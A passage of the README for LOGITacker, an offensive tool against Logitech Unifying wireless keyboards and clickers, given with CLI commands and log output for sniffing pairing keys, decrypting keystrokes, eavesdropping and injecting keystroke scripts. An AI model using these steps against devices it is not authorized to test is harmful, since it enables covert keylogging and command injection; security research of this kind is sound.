0x0000000E\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER: Device usability info: 0x0F\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER: Dongle WPID: 0x8808\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER: Device caps: 0x01\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER: Device report types: 0x0000000E\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER: Device raw key material:\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER:  01 89 97 E6 40 7A 88 08|....@z..\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER:  52 62 64 53 18 9E F8 74|RbdS...t\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER: Device key:\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER:  08 76 01 E6 64 68 37 F8|.v..dh7.\n\u003cinfo\u003e LOGITACKER_PAIRING_PARSER:  52 88 E7 7A 9E 21 40 53|R..z.!@S\n\u003cinfo\u003e LOGITACKER_FLASH: FDS_EVENT_WRITE\n\u003cinfo\u003e LOGITACKER_FLASH: Record ID:     0x00CA\n\u003cinfo\u003e LOGITACKER_FLASH: File ID:       0x1001\n\u003cinfo\u003e LOGITACKER_FLASH: Record key:    0x1001\n\u003cinfo\u003e LOGITACKER_SCRIPT_ENGINE: FDS event handler for scripting: IDLE ... ignoring event\n\u003cinfo\u003e LOGITACKER_FLASH: dongle which should be stored to flash exists, updating ...\n\u003cinfo\u003e LOGITACKER_SCRIPT_ENGINE: FDS event handler for scripting: IDLE ... ignoring event\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: device automatically stored to flash\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PAIR_SNIFF: Sniffed full pairing, moving on with passive enumeration for 01:89:97:E6:25\n\u003cinfo\u003e LOGITACKER_RADIO: Channel hopping stopped\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM: Entering passive enumeration mode for address 01:89:97:E6:25\n... snip ...\n```\n\nWhen pressing keys on the - now paired - device, \nLOGITacker should not only print the encrypted reports, but a decrypted version, too (in passive-enum mode).\n\nHere's an example for the key \"RIGHT\":\n\n```\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM: frame RX in passive enumeration mode (addr 01:89:97:E6:25, len: 22, ch idx 9, raw ch 32)\n\u003cinfo\u003e app: Unifying RF frame: Encrypted keyboard, counter BD8A4B14                \u003c\u003c-- encrypted frame\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 D3 1B 9B 99 17 CA 64|.......d\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM:  3E 4A BD 8A 4B 14 00 00|\u003eJ..K...\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 00 00 00 00 6B      |.....k  \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM: Test decryption of keyboard payload:\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 4F 00 00 00 00 00 C9|.O......\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM: Mod: NONE\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM: Key 1: HID_KEY_RIGHT                     \u003c\u003c-- decrypted key press \"RIGHT\" (only if AES key known)\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM: frame RX in passive enumeration mode (addr 01:89:97:E6:25, len: 22, ch idx 9, raw ch 32)\n\u003cinfo\u003e app: Unifying RF frame: Encrypted keyboard, counter BD8A4B15               \u003c\u003c-- encrypted frame\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 D3 E4 FB CE 17 E2 95|........\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM:  53 C8 BD 8A 4B 15 00 00|S...K...\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 00 00 00 00 30      |.....0  \n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM: Test decryption of keyboard payload:\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 00 00 00 00 00 00 C9|........\n\u003cinfo\u003e LOGITACKER_PROCESSOR_PASIVE_ENUM: Mod: NONE                                \u003c\u003c-- decrypted key release (only if AES key known)\n```\n\nAdditionally, the device should be listed in red with the remarks \"encrypted, key ḱnown\":\n\n```\nLOGITacker (passive enum) $ devices \nAE:C7:93:48:36 Logitech device, keyboard: yes (encrypted, key ḱnown), mouse: yes\n```\n\nNow everything is set, for encrypted injection (LOGITackers script engine automatically encrypts keyboard RF reports\nfor devices with known key).\n\nIn order to inject the \"calc_win7\" script (which should already be loaded), two steps are needed:\n\n1) Select the injection target (tab completition available)\n2) Execute the injection\n\nThis is done with the following commands (RF address of the device is only an example):\n\n```\nLOGITacker (passive enum) $ inject target AE:C7:93:48:36 \nparameter count 2\nTrying to send keystrokes using address AE:C7:93:48:36\nLOGITacker (passive enum) $ inject execute \n```\n\nOnce the script has finished execution, LOGITacker changes back from \"injection\" mode to \"discover\" mode.\nThis behavior could be changed using the following command:\n\n```\nLOGITacker (injection) $ options inject onsuccess \nonsuccess - action after successful injection\nOptions:\n  -h, --help  :Show command help.\nSubcommands:\n  continue      :stay in injection mode.\n  active-enum   :enter active enumeration\n  passive-enum  :enter active enumeration\n  discover      :enter discover mode\nLOGITacker (injection) $ options inject onsuccess continue \nLOGITacker (injection) $ options store \n```\n\n## 3.5 Eavesdropping encrypted devices (keyboards)\n\nThe process for eavesdropping follows the same steps as described for the \"encrypted injection\".\n\nThe link encryption key for a device has either to be added manually (could be extracted from receivers with unrestricted\nversion of `munifying`, once released) or to be obtained from sniffing of device pairing.\n\nAs pointed out in the previous chapter, passive-enum automatically decrypts received key reports for devices with known\nkey. Reading the keys from the CLI output isn't really convenient. To overcome this, LOGITacker allows forwarding of\ndecrypted or plain keyboard and mouse frames sniffed in passive-enum mode to its USB interface. The reports are \ntranslated to proper USB HID reports. Thus, the input is ultimately mirrored to the USB host which has LOGITacker \nconnected.\n\nThe respective options could be enabled with the following commands:\n\n```\nLOGITacker (passive enum) $ options passive-enum pass-through-mouse on\npassive-enum USB mouse pass-through: on\nLOGITacker (passive enum) $ options passive-enum pass-through-keyboard on\npassive-enum USB keyboard pass-through: on   \n```\n\nThe result should look like in the following video, where the sniffed input of a encrypted keyboard is mirrored to \nLOGITacker's USB host: https://youtu.be/GRJ7i2J_Y80\n\nThe video additionally shows, that for Unifying device the re-pairing could be initiated using the Unifying software, in\norder to sniff the link encryption key. For presentation clickers, this could currently only be achieved with `munifying`.\n\n\n**WARNING: In current version, no filter could be applied on USB forwarded input. Everything entered with the sniffed\nkeyboard is directly forwarded to the USB keyboard interface of LOGITacker.**\n\n## 3.6 Format description for RF reports forwarded to raw USB HID interface\n\nt.b.d.\n\n```\ntypedef struct {\n    logitacker_devices_unifying_device_rf_address_t rf_address;\n    uint8_t pid;\n    uint8_t rf_channel;\n    int8_t rssi;\n    uint8_t payload_length;\n    uint8_t payload_data[32]; //maximum of 32 bytes (we ignore capabilities of newer nRF5 series, as it doesn't apply to Logitech devices)\n\n} logitacker_usb_hidraw_rf_frame_representation_t;\n```\n\n## 3.7 Headless use / Automation \n\nt.b.d.\n\nDemo: https://youtu.be/nMoaXDQJNZ8\n\n\n# 4 Other video usage examples (Twitter)\n\nNote: The videos have been created throughout development and command syntax has likely changed (and will change). \nPlease use tab completion and CLI inline help. All examples are included in current firmware.\n\n## 4.1 Discover a device \n\nVideo: https://twitter.com/mame82/status/1126038501185806336\n\nNote: Discovery, especially of presentation clickers, has been improved since this test video.\n\n## 4.2 Sniff pairing and eavesdropping for an encrypted keyboard\n\nVideo: https://twitter.com/mame82/status/1128036281936642051\n\nTo sniff a pairing attempt use `pai sniff run`. Successfully devices (and keys) of successfully sniffed pairing are\nstored to flash automatically. The `options pair-sniff` command subset could be used to alter this behavior.\n\nThe `options store` command could be used to persistently store options changed at runtime (new option survive reboot\nafter storing).\n\nIf not done automatically after successful pair-sniffing, the respective keyboard has to be sniffed using\n`passive_enum AA:BB:CC:DD:EE:FF`, where `AA:BB:CC:DD:EE:FF` has to be replaced by the device address obtained during\npair sniff (available via tab complete).\n\nIn order to forward (decrypted) keyboard RF frames to the USB keyboard interface, like shown in the video, the \nrespective option has to be enabled with `options passive-enum pass-through-keyboard on`.\n\n## 4.3 Inject keystrokes (encrypted device)\n\nVideo: https://twitter.com/mame82/status/1136992913714491392\n\nThe video utilizes \"pair-sniffing\" to obtain the device link encryption key. This, of course, isn't needed for unencrypted\ndevices (f.e. presentation clickers like R400, R700, R800).\n\nThe injection mode uses encrypted injection for devices with known AES key and falls back to plain injection if no\nkey is known or the device isn't encrypted.\n\nIn order to create, store and delete scripts use the `script` sub-command set (again inline help and tab complete).\n\nIn order to start a injection enter injection mode for a specific device with `inject target AA:BB:CC:DD:EE` where\n`AA:BB:CC:DD:EE` has to be replaced by the respective device address (tab complete if already discovered).\n\nTo execute the injection, issue `inject execute`.\n\nThe behavior after injection depends on the setting of `options inject onsuccess` and `options inject onfail`.\nIf LOGITacker is configured to leave injection mode it has to be entered again, using `inject target AA:BB:CC:DD:EE`, in\norder to do further injections.\n\nThe current injection script could be stored to flash with `script store \"scriptname\"`.\nIt is not allowed to overwrite stored scripts (same name). In order to do so, the respective script has to be deleted \nfirst, with `script remove \"scriptname\"`.\n\nStored scripts could be listed with `script list`.\n\nThe current script could be printed with `script show`.\n\nTo set a script as default script on boot (could be used for auto-injection), the following option has to be altered:\n`options inject default-script \"scriptname\"`. To persist the new default-script option don't forget to run `options store`.\n\n## 4.4 Using `altstring` feature in scripts (enter characters using ALT+NUMPAD on Windows targets)\n\nVideo demo 1 (Mouse MX Anywhere 2S): https://twitter.com/mame82/status/1139671585042915329\n\nVideo demo 2 (encrypted presentation clicker R500): https://twitter.com/mame82/status/1143093313924452353\n  \n# 5 DISCLAIMER\n\n**LOGITacker** should be used for authorized testing and/or educational purposes only. \nThe only exception is using it against devices or a network, owned by yourself.\n\nI take no responsibility for the abuse of LOGITacker or any information given in\nthe related documents. \n\n**I DO NOT GRANT PERMISSIONS TO USE LOGITacker TO BREAK THE LAW.**\n\nAs LOGITacker is no production tool, it is likely that bugs occur.\nI disclaim any warranty for LOGITacker, it is provided \"as is\".\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FRoganDawes%2FLOGITacker","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FRoganDawes%2FLOGITacker","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FRoganDawes%2FLOGITacker/lists"}